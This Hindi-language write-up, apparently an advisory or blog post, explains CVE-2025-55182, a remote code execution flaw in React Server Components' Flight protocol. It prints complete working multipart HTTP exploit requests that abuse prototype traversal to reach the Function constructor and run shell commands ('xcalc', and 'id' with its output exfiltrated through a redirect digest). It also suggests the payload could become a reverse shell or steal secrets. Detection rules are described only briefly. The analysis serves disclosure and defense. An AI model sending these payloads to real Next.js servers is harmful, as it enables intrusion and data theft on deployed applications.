
React Flight प्रोटोकॉल (CVE-2025-55182) में असुरक्षित डीसेरियलाइज़ेशन के माध्यम से रिमोट कोड निष्पादन प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट शोषण। इसमें Snort और OSQuery पहचान नियम शामिल हैं।
React Server Components React 19 में पेश की गई एक सुविधा है, जो कंपोनेंट्स को क्लाइंट के ब्राउज़र के बजाय सर्वर पर रेंडर करने की अनुमति देती है। सर्वर जटिल कम्प्यूटेशनल कार्यों को संभाल सकता है, जबकि केवल रेंडर किया गया परिणाम क्लाइंट को भेजा जाता है।
RSC में सर्वर और क्लाइंट के बीच संचार React Flight प्रोटोकॉल पर आधारित है। यह प्रोटोकॉल सर्वर और क्लाइंट के बीच प्रसारित डेटा के सीरियलाइज़ेशन और डीसीरियलाइज़ेशन की प्रक्रिया को संभालता है। जब किसी क्लाइंट को सर्वर-साइड फ़ंक्शन (Server Action) को कॉल करने की आवश्यकता होती है, तो वह एक विशेष रूप से स्वरूपित अनुरोध भेजता है जिसमें सीरियलाइज़ किया गया डेटा होता है, ताकि सर्वर उसे डीसीरियलाइज़ करके संसाधित कर सके।
Flight प्रोटोकॉल डेटा प्रकार मार्करों के साथ एक विशिष्ट सीरियलाइज़ेशन प्रारूप का उपयोग करता है। उदा.:
यह सीरियलाइज़ेशन तंत्र ही वह जगह है जहाँ कमज़ोरी मौजूद है। सर्वर इन संदर्भों को बिना उचित सत्यापन के संसाधित करता है कि अनुरोधित प्रॉपर्टी वास्तव में इच्छित मॉड्यूल से मान्य एक्सपोर्ट हैं या नहीं।
CVE-2025-55182 मूल रूप से RSC द्वारा Flight प्रोटोकॉल के इनकमिंग payload को संसाधित करने के तरीके में एक असुरक्षित डीसीरियलाइज़ेशन कमज़ोरी है। यह कमज़ोरी react-server-dom-webpack पैकेज के requireModule फ़ंक्शन में मौजूद है।
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
गंभीर त्रुटि ब्रैकेट नोटेशन द्वारा एक्सेस में निहित है: moduleExports[metadata[2]]
JavaScript में, जब ब्रैकेट नोटेशन द्वारा किसी प्रॉपर्टी को एक्सेस किया जाता है, तो JavaScript इंजन न केवल उस ऑब्जेक्ट की अपनी प्रॉपर्टीज़ की जाँच करता है, बल्कि पूरी प्रोटोटाइप श्रृंखला (prototype chain) को भी ट्रैवर्स करता है। इसका अर्थ है कि हमलावर उन प्रॉपर्टीज़ को संदर्भित कर सकता है जो मॉड्यूल द्वारा स्पष्ट रूप से एक्सपोर्ट नहीं की गई हैं।
सबसे महत्वपूर्ण बात, JavaScript में हर फ़ंक्शन में एक constructor प्रॉपर्टी होती है जो Function कंस्ट्रक्टर की ओर इंगित करती है। someFunction.constructor तक पहुँचकर, हमलावर को वैश्विक Function कंस्ट्रक्टर का संदर्भ मिल जाता है, जो स्ट्रिंग रूप में तर्क के साथ कॉल किए जाने पर मनमाना JavaScript कोड निष्पादित कर सकता है।
यह कमज़ोरी शोषण योग्य हो जाती है क्योंकि React का Flight प्रोटोकॉल क्लाइंट को कोलन-पृथक संदर्भ सिंटैक्स के माध्यम से इन प्रॉपर्टी पथों को निर्दिष्ट करने की अनुमति देता है। हमलावर $1:constructor:constructor जैसा संदर्भ बना सकता है, जो निम्नानुसार ट्रैवर्सल करेगा:
.constructor प्रॉपर्टी तक पहुँचें (Function Constructor प्राप्त करें).constructor को एक बार फिर एक्सेस करें (अभी भी Function Constructor, लेकिन एक्सेस श्रृंखला की पुष्टि करता है)PoC तीन फ़ील्ड वाला multipart form अनुरोध भेजकर शुरू होता है। पहला फ़ील्ड एक जानबूझकर बनाया गया नकली Chunk ऑब्जेक्ट रखता है:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
यह ऑब्जेक्ट React में chunk क्लास की आंतरिक संरचना का अनुकरण करता है। then को Chunk.prototype.then की ओर संदर्भित करके, यह एक स्व-संदर्भित संरचना बनाता है। जब React इस Chunk को संसाधित करता है और await करता है, तो then विधि को नकली Chunk के साथ this संदर्भ के रूप में कॉल किया जाता है।
अगला महत्वपूर्ण घटक संदर्भ $B1337 है। React के Flight प्रोटोकॉल में, उपसर्ग $B एक Blob संदर्भ को दर्शाता है। जब React Blob संदर्भ को संसाधित करता है, तो यह इसका उपयोग करने वाले फ़ंक्शन को कॉल करता है: response._formData.get(response._prefix + id)
यहाँ, _response ऑब्जेक्ट में दुर्भावनापूर्ण प्रॉपर्टीज़ डाली गई हैं। जब Blob हैंडलर निष्पादित करता है: response._formData.get(response._prefix + id)
यह वास्तव में निष्पादित करेगा: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
इसका कारण यह है कि _formData.get को $1:constructor:constructor पर सेट किया गया है, यह संदर्भ Function constructor में हल हो जाता है। _prefix मान में दुर्भावनापूर्ण कोड होता है। संयुक्त होने पर, Function constructor को तर्क के रूप में दुर्भावनापूर्ण स्ट्रिंग के साथ कॉल किया जाता है, जो मनमाना JS कोड वाले फ़ंक्शन का निर्माण और निष्पादन करता है।
Payload process.mainModule.require('child_process').execSync('xcalc') इस शोषण की क्षमता को दर्शाता है। Payload निम्न कार्य करता है:
process.mainModule तक पहुँचें (वह मुख्य मॉड्यूल जो निष्पादित किया जा रहा है)child_process मॉड्यूल लोड करने के लिए require विधि का उपयोग करेंexecSync को कॉल करेंxcalc) खोलनाइस Payload को reverse shell स्थापित करने, गोपनीय जानकारी वाले पर्यावरण चर निकालने, संवेदनशील फ़ाइलें पढ़ने, या कोई भी ऑपरेशन करने के लिए संशोधित किया जा सकता है जिसे Node.js प्रक्रिया को निष्पादित करने का अधिकार है।
maple3142 के PoC में एक पूर्ण अनुरोध देखें:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
हेडर Next-Action: x React की Server Action प्रोसेसिंग तंत्र को सक्रिय करता है। बॉडी में 3 भाग होते हैं:
_response संरचना होती है।$@0 फ़ील्ड 0 पर वापस इंगित करता है, जो स्व-संदर्भित संरचना बनाता है।जब सर्वर इस अनुरोध को संसाधित करता है, तो यह फ़ील्ड 0 को डीसीरियलाइज़ करता है, फ़ील्ड 1 में संदर्भ $@0 का सामना करता है, स्व-संदर्भित then प्रॉपर्टी सेट करता है, और फिर Blob हैंडलर को ट्रिगर करता है, जो Function constructor के माध्यम से कोड निष्पादित करेगा।
CVE-2025-55182 निम्नलिखित संस्करणों में React Server Components को प्रभावित करता है:
यह कमज़ोरी निम्न कारणों से खतरनाक है:
create-next-app के साथ बनाया गया एक मानक Next.js एप्लिकेशन बिना किसी सोर्स कोड परिवर्तन के शोषित किया जा सकता है।Shodan के अनुसार, 571,000 से अधिक सार्वजनिक सर्वर React घटकों का उपयोग करते हैं और 444,000 सर्वर Next.js का उपयोग करते हैं। हालाँकि ये सभी प्रभावित संस्करण नहीं चला रहे हैं, फिर भी संभावित हमले की सतह बहुत बड़ी है।
एक हमले के अनुरोध में निम्नलिखित अत्यंत विशिष्ट तत्वों का संयोजन होना अनिवार्य है:
Next-Action हेडर और multipart/form-data डेटा प्रारूप होना चाहिए।कार्यप्रणाली: यह Snort नियम सर्वर की ओर निर्देशित (to_server) नेटवर्क ट्रैफ़िक को ब्लॉक/चेतावनी देगा, जिसमें अनुभाग 2 में उल्लिखित सभी असामान्य संकेत मौजूद हों (Headers + PCRE दुर्भावनापूर्ण payload स्ट्रिंग की जाँच करता है)।
उद्देश्य: शोषण व्यवहार का पता लगाना और उसे रोकना, ठीक उस समय जब यह नेटवर्क पर हो रहा हो।
कार्यप्रणाली: सर्वर पर या सॉफ़्टवेयर बिल्ड प्रक्रिया (CI/CD) में समय-समय पर स्कैन कमांड चलाएँ, ताकि कमज़ोर Node.js लाइब्रेरी पैकेज (npm_packages) का पता लगाया जा सके।
लक्षित पैकेज: react-server-dom-parcel, react-server-dom-turbopack, और react-server-dom-webpack
स्कैन किए जाने वाले कमज़ोर संस्करण: 19.0.0, 19.1.0 से 19.1.2 से नीचे, और 19.2.0।
उद्देश्य: जोखिम वाले अनुप्रयोगों का सक्रिय रूप से पता लगाना, इससे पहले कि वे Production वातावरण में पहुँचें।
लैब के लिए Payload:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--